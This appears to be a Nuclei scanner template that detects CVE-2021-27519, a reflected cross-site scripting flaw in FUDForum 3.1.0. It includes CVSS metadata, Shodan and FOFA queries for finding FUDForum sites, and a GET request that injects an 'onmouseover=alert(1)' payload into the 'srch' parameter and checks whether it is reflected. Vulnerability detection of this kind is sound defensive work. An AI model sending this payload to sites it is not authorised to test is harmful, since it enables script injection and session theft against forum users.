id: CVE-2021-27519

info:
  name: FUDForum 3.1.0 - Cross-Site Scripting
  author: kh4sh3i
  severity: medium
  description: |
    FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49942
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27519
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27519
    cwe-id: CWE-79
    epss-score: 0.07604
    epss-percentile: 0.93938
    cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fudforum
    product: fudforum
    shodan-query:
      - 'http.html:"Powered by: FUDforum"'
      - http.html:"fudforum"
      - 'http.html:"powered by: fudforum"'
    fofa-query:
      - 'body="powered by: fudforum"'
      - body="fudforum"
  tags: cve2021,cve,xss,fudforum,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'highlightSearchTerms("x" onmouseover=alert(1) x="");'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022052d7612d98358fcce79ba49f6efc5d9de8a6cc965c87295be01b7b50799e62ad02203a93f8913a2f61bd7b6568538d68a289e95d1b6fa90b6b298dae55cfeefcd128:922c64590222798bb761d5b6d8e72950